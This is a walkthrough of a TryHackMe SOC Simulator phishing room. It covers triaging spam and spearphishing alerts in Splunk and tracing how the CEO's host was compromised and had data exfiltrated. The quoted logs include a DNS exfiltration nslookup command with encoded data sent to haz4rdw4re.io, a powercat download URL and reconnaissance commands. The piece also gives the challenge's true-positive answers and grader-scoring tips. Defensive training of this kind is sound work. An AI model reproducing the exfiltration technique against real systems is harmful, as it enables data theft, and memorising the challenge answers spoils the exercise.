Phishing Unfolding – TryHackMe SOC Simulator
This is a guide to get a 100% True Positive rate for the Phishing Unfolding SOC Simulator TryHackMe challenge room. Because this is just a walkthrough, I will be avoid writing complete reports, and just write the though process behind the verdict instead.
Introduction and Considerations
The description of the room is the following:
Dive into the heat of a live phishing attack as it unfolds within the corporate network. In this high-pressure scenario, your role is to meticulously analyse and document each phase of the breach as it happens.Can you piece together the attack chain in real-time and prepare a comprehensive report on the malicious activities?
In this SOC Simulator room we will be using Splunk to analyze alerts and try to identify potential phishing attacks. This room contains 36 alerts that start appearing after a short period of time. Alerts will be appearing on the built-in SIEM the SOC Simulator tool has. This tool provides a case management functionality, in which we will write the reports for each alert. Once analyzed, we need to determine whether the alerts was a True Positive or False Positive, and whether it requires escalation to a superior or not. The Simulator also provides a VM with an integrated Threat Intelligence Platform called TryDetectThis. Because alerts will still be coming while we are analyzing a previous one, at some point we will have pages worth of “Unassigned” alerts. Prioritize alerts the SIEM has identified with higher severity, and with oldest timestamps.
Many alerts can be related to other alerts, or are just False Positives. This writeup will only cover the True Positive alerts, and only the first on the chain of a sequence of alerts when applicable (I still had to analyze nearly all of them, because you never know!). The room also offers a “Documentation” tab, containing a “Company Information” tab, providing information on the employees of the fictional company. This tab will be useful during alert triage and for providing exhaustive information regarding affected entities when reporting.
Grading
The SOC Simulator, technically speaking, only cares for alerts the user has identified as True Positives. Once all True Positives have been identified as such, the simulation ends even if there still are alerts in queue. Furthermore, the written reports are “graded” by an LLM. The tool recommends using the following format for reporting: Time of activity: List of Affected Entities: Reason for Classifying as True Positive: Reason for Escalating the Alert: Recommended Remediation Actions: List of Attack Indicators:
However, what the LLM seems to actually be looking for is the 5 Ws of Alert Triage. Even so, it sometimes fails to understand certain aspects of the human language, and reduces points unfairly. This is why I will not post complete reports here, just the thought process behind the verdict. As a rule of thumb, to get the maximum amount of points possible and reduce the LLM margin of error, we should write all relevant timestamps, all possible information about the victims and other entities (from the Company Information section), information about related events before and after the alert, reasons for escalation (or not), and when possible, point out attack artifacts and MITRE mapping. And, as always, try to identify the 5 Ws in your report.
Alert 1: Suspicious email from external domain (ID 1000) – Low severity
The information the SIEM gives us is (some output omitted):
Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.
subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes
sender:
eileen@trendymillineryco.me
recipient:
support@tryhatme.com
attachment:
None
subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes
content:
A long lost billionaire relative has left you their secret hat empire To claim your inheritance send us your banking details immediately
This is a classical Phishing technique. It promises something extremely valuable in exchange for confidential information. This is why we classify this as True Positive. The MITRE ATT&CK ID for Phishing is T1566. Let's check the log management tool (in my case, I chose Splunk) and search with the “eileen” email as a recipient, just to see if support actually sent their banking details. The search returned no results, so it seems the user did not comply. As such, there is no need for escalation.
Alert 2: Suspicious email from external domain (ID 1003) – Low severity
Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.
timestamp
01/26/2026 21:15:30.473
subject:
Grow Your Hat Business Overnight with this Secret Formula
sender:
leonard@fashionindustrytrends.xyz
recipient:
yani.zubair@tryhatme.com
attachment:
None
content:
Unlock the ultimate strategy to skyrocket your hat empire No experience needed Just click and watch the profits roll in
At 01/26/2026 21:16:44.240 spam was received by yani.zubair@tryhatme[.]com, which belongs to Yani Zubair, from IT, using hostname win-3449. The email was from leonard@fashionindustrytrends[.]xyz. This email used common Phishing strategies (MITRE ATT&CK ID T1566) such as offering compensation by entering a page and clicking something. Further actions from Yani Zubair's hostname after the email was received were analyzed, but the Splunk logs showed no evident malicious events. It seems the user has ignored the email message. Due to this, it is a True Positive, but no escalation is required.
Alert 3: Suspicious Parent Child Relationship (ID 1025) – High severity
Description:
A suspicious process with an uncommon parent-child relationship was detected in your environment.
timestamp:
01/26/2026 21:45:42.473
host.name:
win-3450
process.name:
nslookup.exe
process.pid:
5520
process.parent.pid
3728
process.parent.name:
powershell.exe
process.command_line:
"C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io
process.working_directory:
C:\Users\michael.ascot\downloads\exfiltration\
event.action:
Process Create (rule: ProcessCreate)
This alert had a HIGH SEVERITY, and there is no wonder why... what exactly happened? Let's take a look at the information the SIEM is giving us. It seems that hostname win-3450 is using the powershell from a directory called “exfiltration” to perform a nslookup of a domain with a subdomain of what looks like encoded data. This is obviously data being exfiltrated. Let's see what we can find from the logs. But first, let's check who win-3450 is. From the Company Information tab, we find out that the win-3450 device is being used by Michael Ascot, whose email address is michael.ascot@tryhatme[.]com, and is the CEO of the company. Anyway, this alert seemed to come out of nowhere. We got a timestamp and we got the device that is creating these processes. Let's check events happening at this hostname a few minutes before an after the alert.
Splunk shows us a long list of problematic events right after this one. There are multiple registry modifications and other processes creations, including downloading external resources from the powershell (such as hxxps[://]raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat[.]ps1), even more lookups to different (encoded) subdomains of haz4rdw4re.io, and performing command such as systeminfo or whoami. This is absolutely not common or expected behavior from any host. Data is clearly being exfiltrated by using DNS queries, and it is done this way because DNS is a very common protocol to see flowing through networks and, therefore, less monitored. It helps to avoid detection or filtering. The encoded subdomains are actually the data that is being exfiltrated, but encoded. Commands such as systeminfo or whoami are commonly used during Post-Exploitation, as these give the attacker information on the current user's privileges and machine (MITRE ATT&CK ID T1033). Now we have confirmed that this is a True Positive, but we still don't know how it happened. Looking at earlier timestamps, we find that right before all this sequence of events happened, a file named “ImportantInvoice-Febrary.zip” was created at the /downloads directory, which later created the /exfiltration subdirectory. We have no information regarding where this file came from. Let's search for it on Splunk.
Eventually, using Splunk search filters, we will find that at 01/26/2026 21:20:19.473 (25 minutes before the alert) the CEO's email, michael.ascot@tryhatme.com, received a email containing an attachment named ImportantInvoice-Febrary.zip. The body and subject of the email indicated that an account was about the closed unless payment was processed, and to read the attachment to stop it. Yet another common Phishing technique, or Spearphishing in this case as the target was the CEO. The Spearphishing through Attachment technique has a MITRE ATT&CK ID of T1566.001. We can also notice a small typo on the name of the attachment (Febrary instead of February), which is not uncommon to see on Phishing emails. This CEO would unfortunately download the file at 01/26/2026 21:40:26.47. as Splunk shows us the file was created in the C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\UP4KOJQB\ImportantInvoice-Febrary.zip file path. The chain of malicious events follows.
With all this information, we can write quite a hefty report. We now know it's a True Positive and that it requires escalation.
Recommended Remediation Actions: host isolation to prevent further movement, malware cleanup, phishing awaraness training, Data Loss Prevention tools. Add haz4rd4wre.io to list of malicious domains. The file was also run on the TryDetectMe threat intelligence tool, which recognized it as clean – inform on this as well.
Alerts with IDs 1005, 1020, 1023, 1026-1034 were related to this alert – they were either the spearphishing email, the creation of the malicious attachment, or other alerts of the Suspicious Parent-Child relationship type but with lookups to other subdomains. Because of this, they should have the same verdict, but be sure to explain this thoroughly on the report (the LLM will most likely still grade it with low points, but that's due to its logic rather than a mistake on our side).
Alert 4: Network drive mapped to a local drive (ID 1022) – Medium severity
Description:
A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.
timestamp:
01/26/2026 21:43:57.473
host.name:
win-3450
process.name:
net.exe
process.pid:
5784
process.parent.pid
3728
process.parent.name:
powershell.exe
process.command_line:
"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords
process.working_directory:
C:\Users\michael.ascot\downloads\
event.action:
Process Create (rule: ProcessCreate)
This normally wouldn't be cause for concern, as the description in the SIEM tells us, but we can see it happened on hostname win-3450, who was just the victim of a Phishing attack. The timestamp here will be key to detect any potential problem.
At 01/26/2026 21:43:57.47, Michael Ascot copied the SSF-FinancialRecords file to a local drive, which was disconnected at 01/26/2026 21:44:42.473. There is nothing extraordinary about this. However, if we take a look at the Splunk logs near this event, at 01/26/2026 21:44:31.473 it is revealed that a process, with the same process ID of a process that is part of the malware involved in Alert ID 1025 (True Positive requiring escalation), cloned the file to the C:\Users\michael.ascot\downloads\exfiltration /E directory – the directory used to exfiltrate files. The malware running was most likely set up to clone any file in transit to different directories to the exfiltration directory.
Recommended Remediation Actions: similarly to Alert ID 1025, user awareness training, and DLP and IPS tools should be put in place.
Alert ID 1024 – Network drive disconnected from a local drive, is part of this alert (the disconnection of this drive), and therefore has the same verdict.
And with this one, the room has finished. Out of 36 alerts, there were 17 True Positives, where most of them were alerts generated as a result of processes from previous alerts. We learnt the importance of User Awareness Training, as this could have been avoided if the user from Alert 1025 would have not have downloaded the attachment, and of Log monitoring. How a single email ended up cluttering the SIEM with alerts and created a serious incident. It is important to always remain vigilant and constantly monitor the network, as an attack can strike in many forms and at any time, and have catastrophic consequences.